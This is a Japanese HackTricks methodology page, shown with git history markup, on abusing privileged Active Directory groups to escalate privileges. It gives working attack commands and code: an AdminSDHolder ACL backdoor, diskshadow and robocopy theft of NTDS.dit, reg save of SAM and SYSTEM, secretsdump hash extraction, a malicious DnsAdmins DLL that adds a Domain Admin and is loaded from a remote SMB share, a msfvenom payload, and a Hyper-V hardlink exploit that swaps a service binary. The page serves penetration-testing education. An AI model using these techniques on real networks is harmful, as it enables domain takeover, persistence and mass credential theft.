hacktricks/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md

406 lines
29 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# 特権グループ
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
2022-04-28 16:01:33 +00:00
</details>
2023-07-07 23:42:27 +00:00
## 管理特権を持つ既知のグループ
* **Administrators**
* **Domain Admins**
2022-10-05 21:11:58 +00:00
* **Enterprise Admins**
2023-07-07 23:42:27 +00:00
他にも、セキュリティ評価中に複数の攻撃ベクトルを連鎖させる際に役立つアカウントのメンバーシップやアクセストークンの特権があります。
2023-07-07 23:42:27 +00:00
## アカウントオペレーター <a href="#account-operators" id="account-operators"></a>
2022-10-05 21:11:58 +00:00
2023-07-07 23:42:27 +00:00
* ドメイン上で非管理者アカウントとグループを作成することができます
* DCにローカルでログインすることができます
2022-10-05 21:11:58 +00:00
2023-07-07 23:42:27 +00:00
グループの**メンバー**を取得する:
2022-10-05 21:11:58 +00:00
```powershell
Get-NetGroupMember -Identity "Account Operators" -Recurse
```
2023-07-07 23:42:27 +00:00
ユーザーのメンバーシップを確認してください:
2022-10-05 21:11:58 +00:00
![](<../../.gitbook/assets/1 (2) (1) (1).png>)
2022-10-05 21:11:58 +00:00
2023-07-07 23:42:27 +00:00
しかし、新しいユーザーを追加することはできます:
2022-10-05 21:11:58 +00:00
![](../../.gitbook/assets/a2.png)
2023-07-07 23:42:27 +00:00
また、DC01にローカルでログインすることもできます
2022-10-05 21:11:58 +00:00
![](../../.gitbook/assets/a3.png)
2023-07-07 23:42:27 +00:00
## AdminSDHolderグループ
2023-07-07 23:42:27 +00:00
**AdminSDHolder**オブジェクトのアクセス制御リストACLは、Active Directoryのすべての「保護されたグループ」およびそれらのメンバーに**権限をコピー**するために使用されます。保護されたグループには、Domain Admins、Administrators、Enterprise Admins、およびSchema Adminsなどの特権グループが含まれます。\
デフォルトでは、このグループのACLは「保護されたグループ」のすべてにコピーされます。これは、これらの重要なグループへの意図的または偶発的な変更を防ぐために行われます。ただし、攻撃者が例えば通常のユーザーに完全な権限を与えるようにグループ**AdminSDHolder**のACLを変更した場合、このユーザーは保護されたグループ内のすべてのグループに対して完全な権限を持つことになります1時間以内に。\
そして、誰かがこのユーザーをDomain Adminsから削除しようとした場合、1時間以内にユーザーはグループに戻ります。
2022-10-05 21:11:58 +00:00
2023-07-07 23:42:27 +00:00
グループの**メンバー**を取得する:
2022-10-05 21:11:58 +00:00
```powershell
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
```
2023-07-07 23:42:27 +00:00
**AdminSDHolder** グループにユーザーを追加します:
2022-10-05 21:11:58 +00:00
```powershell
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
```
2023-07-07 23:42:27 +00:00
**Domain Admins** グループにユーザーが含まれているかどうかを確認します:
2022-10-05 21:11:58 +00:00
```powershell
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
```
2023-07-07 23:42:27 +00:00
1時間待ちたくない場合は、次のPSスクリプトを使用して即座に復元を行うことができます[https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1)
2023-07-07 23:42:27 +00:00
[**詳細はired.teamを参照してください。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence)
2022-10-05 21:11:58 +00:00
## **AD Recycle Bin**
2023-07-07 23:42:27 +00:00
このグループには、削除されたADオブジェクトを読み取る権限があります。そこには興味深い情報が含まれている場合があります。
2022-10-05 21:11:58 +00:00
```bash
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the "AD Recycle Bin" group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
2023-07-07 23:42:27 +00:00
### ドメインコントローラへのアクセス
2022-10-03 21:39:01 +00:00
2023-07-07 23:42:27 +00:00
現在のメンバーシップでは、DC上のファイルにアクセスできないことに注意してください
![](../../.gitbook/assets/a4.png)
2023-07-07 23:42:27 +00:00
しかし、ユーザーが`Server Operators`に属している場合:
![](../../.gitbook/assets/a5.png)
2023-07-07 23:42:27 +00:00
状況が変わります:
![](../../.gitbook/assets/a6.png)
2023-07-07 23:42:27 +00:00
### 特権昇格 <a href="#backup-operators" id="backup-operators"></a>
2022-10-03 21:39:01 +00:00
2023-07-07 23:42:27 +00:00
[`PsService`](https://docs.microsoft.com/en-us/sysinternals/downloads/psservice)またはSysinternalsの`sc`を使用して、サービスのアクセス許可を確認します。
2022-10-03 21:39:01 +00:00
```
C:\> .\PsService.exe security AppReadiness
PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com
[...]
2023-07-07 23:42:27 +00:00
[ALLOW] BUILTIN\Server Operators
All
2022-10-03 21:39:01 +00:00
```
2023-07-07 23:42:27 +00:00
これにより、Server Operatorsグループが[SERVICE_ALL_ACCESS](https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights)アクセス権を持っていることが確認されました。これにより、このサービスに対して完全な制御が可能です。\
このサービスを悪用して、任意のコマンドを実行し特権をエスカレーションすることができます。
2022-10-03 21:39:01 +00:00
2022-05-01 16:57:45 +00:00
## Backup Operators <a href="#backup-operators" id="backup-operators"></a>
2023-07-07 23:42:27 +00:00
`Server Operators`のメンバーシップと同様に、`Backup Operators`に所属している場合は、`DC01`ファイルシステムにアクセスできます。
2022-10-03 20:20:19 +00:00
2023-07-07 23:42:27 +00:00
これは、このグループがその**メンバー**に[**`SeBackup`**](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#sebackupprivilege-3.1.4)と[**`SeRestore`**](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#serestoreprivilege-3.1.5)の特権を付与しているためです。**SeBackupPrivilege**により、任意のフォルダをトラバースし、フォルダの内容をリストすることができます。これにより、他に権限が与えられていない場合でも、フォルダからファイルをコピーすることができます。ただし、ファイルをコピーするためには、フラグ[**FILE_FLAG_BACKUP_SEMANTICS**](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea)を使用する必要があります。したがって、特別なツールが必要です。
2022-10-03 20:20:19 +00:00
2023-07-07 23:42:27 +00:00
この目的のために、[**これらのスクリプト**](https://github.com/giuliano108/SeBackupPrivilege)**を使用できます。**
2022-10-05 21:11:58 +00:00
2023-07-07 23:42:27 +00:00
グループの**メンバー**を取得する:
2022-10-05 21:11:58 +00:00
```powershell
Get-NetGroupMember -Identity "Backup Operators" -Recurse
```
2023-07-07 23:42:27 +00:00
### **ローカル攻撃**
2022-10-03 20:20:19 +00:00
```bash
# Import libraries
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup SeBackupPrivilege is disabled
# Enable SeBackupPrivilege
Set-SeBackupPrivilege
Get-SeBackupPrivilege
# List Admin folder for example and steal a file
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\\report.pdf c:\temp\x.pdf -Overwrite
```
2023-07-07 23:42:27 +00:00
### AD攻撃
2022-10-03 20:20:19 +00:00
2023-07-07 23:42:27 +00:00
たとえば、直接ドメインコントローラのファイルシステムにアクセスできます:
![](../../.gitbook/assets/a7.png)
2023-07-07 23:42:27 +00:00
このアクセスを悪用して、ドメイン内のすべてのユーザーとコンピュータオブジェクトの**NTLMハッシュ**を取得するために、アクティブディレクトリデータベース**`NTDS.dit`**を**盗む**ことができます。
2022-10-03 20:20:19 +00:00
2023-07-07 23:42:27 +00:00
[**diskshadow**](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow)を使用して、たとえば`C`ドライブと`F`ドライブに**シャドウコピー**を作成できます。その後、システムによって使用されていないため、このシャドウコピーから`NTDS.dit`ファイルを盗むことができます:
2022-10-03 20:20:19 +00:00
```
diskshadow.exe
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC, 10/14/2020 10:34:16 AM
DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% F:
DISKSHADOW> end backup
DISKSHADOW> exit
```
2023-07-07 23:42:27 +00:00
ローカル攻撃と同様に、特権ファイル **`NTDS.dit`** をコピーすることができます。
2022-10-03 20:20:19 +00:00
```
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
```
2023-07-07 23:42:27 +00:00
別のファイルをコピーする方法は、[**robocopy**](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy)**を使用することです**
2022-10-03 20:20:19 +00:00
```
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
```
2023-07-07 23:42:27 +00:00
次に、**SYSTEM**と**SAM**を簡単に**盗む**ことができます:
2022-10-03 20:20:19 +00:00
```
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
```
2023-07-07 23:42:27 +00:00
最終的には、**`NTDS.dit`** から**すべてのハッシュを取得**できます。
2022-10-03 20:20:19 +00:00
```shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```
2022-10-03 21:39:01 +00:00
## DnsAdmins
2023-07-07 23:42:27 +00:00
**DNSAdmins**グループのメンバーまたは**DNSサーバー**オブジェクトへの**書き込み権限**を持つユーザーは、**DNSサーバー**上で**SYSTEM特権**で**任意のDLL**をロードすることができます。\
これは、**ドメインコントローラー**が非常に頻繁に**DNSサーバー**として使用されるため、非常に興味深いです。
2023-07-07 23:42:27 +00:00
この\*\*\*\*[**投稿**](https://adsecurity.org/?p=4064)に示されているように、次の攻撃は、DNSがドメインコントローラー上で実行されている場合に実行できますこれは非常に一般的です
2023-07-07 23:42:27 +00:00
- DNS管理はRPC経由で行われます
- [**ServerLevelPluginDll**](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-dnsp/c9d38538-8827-44e6-aa5e-022a016ed723)を使用すると、**DLLのパスの検証がゼロ**でカスタム**DLL**を**ロード**することができます。これは、コマンドラインから`dnscmd`ツールを使用して行うことができます
- **`DnsAdmins`**グループのメンバーが以下の**`dnscmd`**コマンドを実行すると、`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll`レジストリキーが作成されます
- **DNSサービスが再起動**されると、このパスにある**DLL**が**ロード**されます(つまり、ドメインコントローラーのマシンアカウントがアクセスできるネットワーク共有)
- 攻撃者は、**カスタムDLLをロードしてリバースシェルを取得**したり、MimikatzのようなツールをDLLとしてロードして資格情報をダンプすることができます。
2022-10-05 21:11:58 +00:00
2023-07-07 23:42:27 +00:00
グループの**メンバー**を取得する:
2022-10-05 21:11:58 +00:00
```powershell
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
```
2023-07-07 23:42:27 +00:00
### 任意のDLLの実行
2022-10-05 21:11:58 +00:00
2023-07-07 23:42:27 +00:00
次に、**DNSAdminsグループ**に所属するユーザーがいる場合、**DNSサーバーはSYSTEM特権で任意のDLLを読み込むことができます**DNSサービスは`NT AUTHORITY\SYSTEM`として実行されます。次のコマンドを実行することで、DNSサーバーは**ローカルまたはリモート**SMBで共有されたDLLファイルを読み込むことができます。
```
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
```
2023-07-07 23:42:27 +00:00
有効なDLLの例は[https://github.com/kazkansouh/DNSAdmin-DLL](https://github.com/kazkansouh/DNSAdmin-DLL)にあります。`DnsPluginInitialize`関数のコードを以下のように変更します:
```c
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
2023-07-07 23:42:27 +00:00
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
```
2023-07-07 23:42:27 +00:00
または、msfvenomを使用してdllを生成することもできます
2022-10-03 21:39:01 +00:00
```bash
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
```
2023-07-07 23:42:27 +00:00
DNSサービスが開始または再起動されると、新しいユーザーが作成されます。
2022-10-03 21:39:01 +00:00
2023-07-07 23:42:27 +00:00
DNSAdminグループ内にユーザーがいても、**デフォルトではDNSサービスを停止または再起動することはできません。** ただし、常に次の操作を試すことができます。
```csharp
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
```
2023-07-07 23:42:27 +00:00
[**この特権昇格についての詳細は、ired.teamを参照してください。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise)
2022-10-03 21:39:01 +00:00
#### Mimilib.dll
2023-07-07 23:42:27 +00:00
この[**投稿**](http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html)で詳しく説明されているように、`Mimikatz`ツールの作成者による[**mimilib.dll**](https://github.com/gentilkiwi/mimikatz/tree/master/mimilib)を使用して、[**kdns.c**](https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kdns.c)ファイルを**変更**して、リバースシェルのワンライナーや他のコマンドを実行することができます。
2022-10-03 21:39:01 +00:00
2023-07-07 23:42:27 +00:00
### MitMのためのWPADレコード
2022-10-03 21:39:01 +00:00
2023-07-07 23:42:27 +00:00
DnsAdminsグループの特権を悪用する別の方法は、**WPADレコード**を作成することです。このグループに所属することで、[グローバルクエリブロックセキュリティを無効化](https://docs.microsoft.com/en-us/powershell/module/dnsserver/set-dnsserverglobalqueryblocklist?view=windowsserver2019-ps)する権限が与えられます。デフォルトでは、この攻撃はブロックされます。サーバー2008では、DNSサーバーにグローバルクエリブロックリストを追加する機能が初めて導入されました。デフォルトでは、Web Proxy Automatic Discovery Protocol (WPAD)とIntra-site Automatic Tunnel Addressing Protocol (ISATAP)がグローバルクエリブロックリストに含まれています。これらのプロトコルはハイジャックの脆弱性が非常に高く、任意のドメインユーザーがこれらの名前を含むコンピュータオブジェクトやDNSレコードを作成することができます。
2022-10-03 21:39:01 +00:00
2023-07-07 23:42:27 +00:00
**グローバルクエリブロックリストを無効化**し、**WPADレコードを作成**した後、デフォルト設定で動作しているすべてのWPADを実行しているマシンのトラフィックは、**攻撃マシンを介してプロキシされます**。[Responder](https://github.com/lgandx/Responder)や[Inveigh](https://github.com/Kevin-Robertson/Inveigh)などのツールを使用して、トラフィックのスプーフィングを行い、パスワードハッシュをキャプチャしてオフラインでクラックしたり、SMBRelay攻撃を実行したりすることができます。
2022-10-03 21:39:01 +00:00
2022-10-05 20:40:19 +00:00
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
{% endcontent-ref %}
2022-10-03 21:39:01 +00:00
2023-07-07 23:42:27 +00:00
## イベントログの読み取り者
2022-10-03 21:39:01 +00:00
2023-07-07 23:42:27 +00:00
[**イベントログの読み取り者**](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn579255\(v=ws.11\)?redirectedfrom=MSDN#event-log-readers)グループのメンバーは、生成されたイベントログ(新しいプロセス作成ログなど)に**アクセスする権限**を持っています。ログには**機密情報**が含まれている場合があります。ログの表示方法を見てみましょう:
2022-10-03 21:39:01 +00:00
```powershell
2022-10-05 21:11:58 +00:00
#Get members of the group
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
2022-10-05 22:52:18 +00:00
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Event Log Readers"
2022-10-05 21:11:58 +00:00
2022-10-03 21:39:01 +00:00
# To find "net [...] /user:blahblah password"
wevtutil qe Security /rd:true /f:text | Select-String "/user"
# Using other users creds
wevtutil qe Security /rd:true /f:text /r:share01 /u:<username> /p:<pwd> | findstr "/user"
# Search using PowerShell
Get-WinEvent -LogName security [-Credential $creds] | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}
```
2022-10-05 22:52:18 +00:00
## Exchange Windows Permissions
2023-07-07 23:42:27 +00:00
メンバーはドメインオブジェクトに**DACLを書き込む権限**を与えられています。攻撃者はこれを悪用して、ユーザーに[**DCSync**](dcsync.md)の特権を与えることができます。\
Microsoft ExchangeがAD環境にインストールされている場合、このグループのメンバーとしてユーザーアカウントやコンピューターを見つけることが一般的です。
2022-10-05 22:52:18 +00:00
2023-07-07 23:42:27 +00:00
この[**GitHubリポジトリ**](https://github.com/gdedrouas/Exchange-AD-Privesc)では、このグループの権限を悪用して特権をエスカレーションするためのいくつかの**技術**が説明されています。
2022-10-05 22:52:18 +00:00
```powershell
#Get members of the group
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
```
2023-07-07 23:42:27 +00:00
## Hyper-V管理者
2022-10-05 22:52:18 +00:00
2023-07-07 23:42:27 +00:00
[**Hyper-V管理者**](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/access-control/active-directory-security-groups#hyper-v-administrators)グループは、すべての[Hyper-V機能](https://docs.microsoft.com/ja-jp/windows-server/manage/windows-admin-center/use/manage-virtual-machines)に完全なアクセス権を持っています。もし**ドメインコントローラー**が**仮想化**されている場合、**仮想化管理者**は**ドメイン管理者**と見なされるべきです。彼らは簡単に**ライブドメインコントローラーのクローン**を作成し、仮想ディスクをオフラインで**マウント**して**`NTDS.dit`**ファイルを取得し、ドメイン内のすべてのユーザーのNTLMパスワードハッシュを抽出することができます。
2022-10-03 21:39:01 +00:00
2023-07-07 23:42:27 +00:00
また、この[ブログ](https://decoder.cloud/2020/01/20/from-hyper-v-admin-to-system/)では、仮想マシンを**削除**すると、`vmms.exe`が対応する**`.vhdx`ファイル**の元のファイルアクセス許可を**復元**しようとし、ユーザーを模倣せずに`NT AUTHORITY\SYSTEM`として行います。私たちは**`.vhdx`**ファイルを**削除**し、このファイルを**保護されたSYSTEMファイル**に向けるためのネイティブな**ハードリンク**を作成することができます。そうすれば、完全なアクセス権を与えられます。
2022-10-03 21:39:01 +00:00
2023-07-07 23:42:27 +00:00
もしオペレーティングシステムが[CVE-2018-0952](https://www.tenable.com/cve/CVE-2018-0952)または[CVE-2019-0841](https://www.tenable.com/cve/CVE-2019-0841)に脆弱である場合、これを利用してSYSTEM権限を取得することができます。そうでない場合は、**サーバー上にインストールされているアプリケーションがSYSTEMのコンテキストで実行されるサービスを持っている**ことを利用することができます。このサービスは、特権のないユーザーによって起動することができます。
2022-10-03 21:39:01 +00:00
2023-07-07 23:42:27 +00:00
### **攻撃例**
2022-10-03 21:39:01 +00:00
2023-07-07 23:42:27 +00:00
この例では、**Firefox**が**`Mozilla Maintenance Service`**をインストールしていることがあります。[このエクスプロイト](https://raw.githubusercontent.com/decoder-it/Hyper-V-admin-EOP/master/hyperv-eop.ps1)NTハードリンクの概念証明を更新して、現在のユーザーに以下のファイルの完全なアクセス権を付与することができます。
2022-10-03 21:39:01 +00:00
```bash
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
```
2023-07-07 23:42:27 +00:00
#### **ファイルの所有権を取得する**
2022-10-03 21:39:01 +00:00
2023-07-07 23:42:27 +00:00
PowerShellスクリプトを実行した後、**このファイルの完全な制御権を持ち、所有権を取得することができるはずです**。
2022-10-03 21:39:01 +00:00
```bash
C:\htb> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
```
2023-07-07 23:42:27 +00:00
#### **Mozillaメンテナンスサービスの開始**
2022-10-03 21:39:01 +00:00
2023-07-07 23:42:27 +00:00
次に、このファイルを**悪意のある`maintenanceservice.exe`**で置き換え、メンテナンスサービスを**開始**し、SYSTEMとしてコマンドの実行を行うことができます。
2022-10-03 21:39:01 +00:00
```
C:\htb> sc.exe start MozillaMaintenance
```
{% hint style="info" %}
2023-07-07 23:42:27 +00:00
このベクトルは、ハードリンクに関連する動作を変更した2020年3月のWindowsセキュリティ更新によって軽減されました。
2022-10-03 21:39:01 +00:00
{% endhint %}
2023-07-07 23:42:27 +00:00
## 組織管理
2022-10-05 22:52:18 +00:00
2023-07-07 23:42:27 +00:00
このグループは、**Microsoft Exchange**がインストールされた環境でも存在します。\
このグループのメンバーは、**すべての**ドメインユーザーの**メールボックス**に**アクセス**できます。\
このグループはまた、グループ[**`Exchange Windows Permissions`**](privileged-groups-and-token-privileges.md#exchange-windows-permissions)を含むOU `Microsoft Exchange Security Groups`の**完全な制御**を持っています(このグループを悪用して特権昇格する方法についてはリンクを参照してください)。
2022-10-05 22:52:18 +00:00
2023-07-07 23:42:27 +00:00
## プリントオペレータ
2022-10-05 21:11:58 +00:00
2023-07-07 23:42:27 +00:00
このグループのメンバーには以下が付与されます:
2022-10-05 21:11:58 +00:00
* [**`SeLoadDriverPrivilege`**](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#seloaddriverprivilege-3.1.7)
2023-07-07 23:42:27 +00:00
* **ドメインコントローラにローカルでログオン**し、シャットダウンする権限
* ドメインコントローラに接続された**プリンタ**の**管理**、作成、共有、削除の権限
2022-10-05 21:11:58 +00:00
{% hint style="warning" %}
2023-07-07 23:42:27 +00:00
コマンド`whoami /priv`が昇格していないコンテキストで**`SeLoadDriverPrivilege`**を表示しない場合、UACをバイパスする必要があります。
2022-10-05 21:11:58 +00:00
{% endhint %}
2023-07-07 23:42:27 +00:00
グループの**メンバー**を取得する:
2022-10-05 21:11:58 +00:00
```powershell
Get-NetGroupMember -Identity "Print Operators" -Recurse
```
2023-07-07 23:42:27 +00:00
このページでは、SeLoadDriverPrivilegeを悪用して特権昇格を行う方法について説明します
2022-10-05 21:11:58 +00:00
{% content-ref url="../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege.md" %}
[abuse-seloaddriverprivilege.md](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege.md)
{% endcontent-ref %}
2023-07-07 23:42:27 +00:00
## リモートデスクトップユーザー
2022-10-05 21:11:58 +00:00
2023-07-07 23:42:27 +00:00
このグループのメンバーはRDP経由でPCにアクセスできます。\
グループの**メンバー**を取得する:
2022-10-05 21:11:58 +00:00
```powershell
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
```
2023-07-07 23:42:27 +00:00
**RDP**に関する詳細情報:
2022-10-05 21:11:58 +00:00
{% content-ref url="../../network-services-pentesting/pentesting-rdp.md" %}
[pentesting-rdp.md](../../network-services-pentesting/pentesting-rdp.md)
{% endcontent-ref %}
2023-07-07 23:42:27 +00:00
## リモート管理ユーザー
2022-10-05 21:11:58 +00:00
2023-07-07 23:42:27 +00:00
このグループのメンバーは**WinRM**を介してPCにアクセスできます。
2022-10-05 21:11:58 +00:00
```powershell
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
```
2023-07-07 23:42:27 +00:00
**WinRM**についての詳細情報:
2022-10-05 21:11:58 +00:00
{% content-ref url="../../network-services-pentesting/5985-5986-pentesting-winrm.md" %}
[5985-5986-pentesting-winrm.md](../../network-services-pentesting/5985-5986-pentesting-winrm.md)
{% endcontent-ref %}
2023-07-07 23:42:27 +00:00
## サーバーオペレーター <a href="#server-operators" id="server-operators"></a>
2022-10-05 21:11:58 +00:00
2023-07-07 23:42:27 +00:00
このメンバーシップにより、ユーザーは以下の特権を持つドメインコントローラを構成できます:
2022-10-05 21:11:58 +00:00
2023-07-07 23:42:27 +00:00
* ローカルでのログオンを許可する
* ファイルとディレクトリのバックアップ
* \`\`[`SeBackupPrivilege`](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#sebackupprivilege-3.1.4) と [`SeRestorePrivilege`](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#serestoreprivilege-3.1.5)
* システムの時刻の変更
* タイムゾーンの変更
* リモートシステムからの強制シャットダウン
* ファイルとディレクトリの復元
* システムのシャットダウン
* ローカルサービスの制御
2022-10-05 21:11:58 +00:00
2023-07-07 23:42:27 +00:00
グループの**メンバー**を取得する:
2022-10-05 21:11:58 +00:00
```powershell
Get-NetGroupMember -Identity "Server Operators" -Recurse
```
2023-07-07 23:42:27 +00:00
## 参考文献 <a href="#references" id="references"></a>
{% embed url="https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges" %}
{% embed url="https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/" %}
{% embed url="https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory" %}
{% embed url="https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--" %}
{% embed url="https://adsecurity.org/?p=3658" %}
{% embed url="http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/" %}
{% embed url="https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/" %}
{% embed url="https://rastamouse.me/2019/01/gpo-abuse-part-1/" %}
{% embed url="https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13" %}
{% embed url="https://github.com/tandasat/ExploitCapcom" %}
{% embed url="https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp" %}
{% embed url="https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys" %}
{% embed url="https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e" %}
{% embed url="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
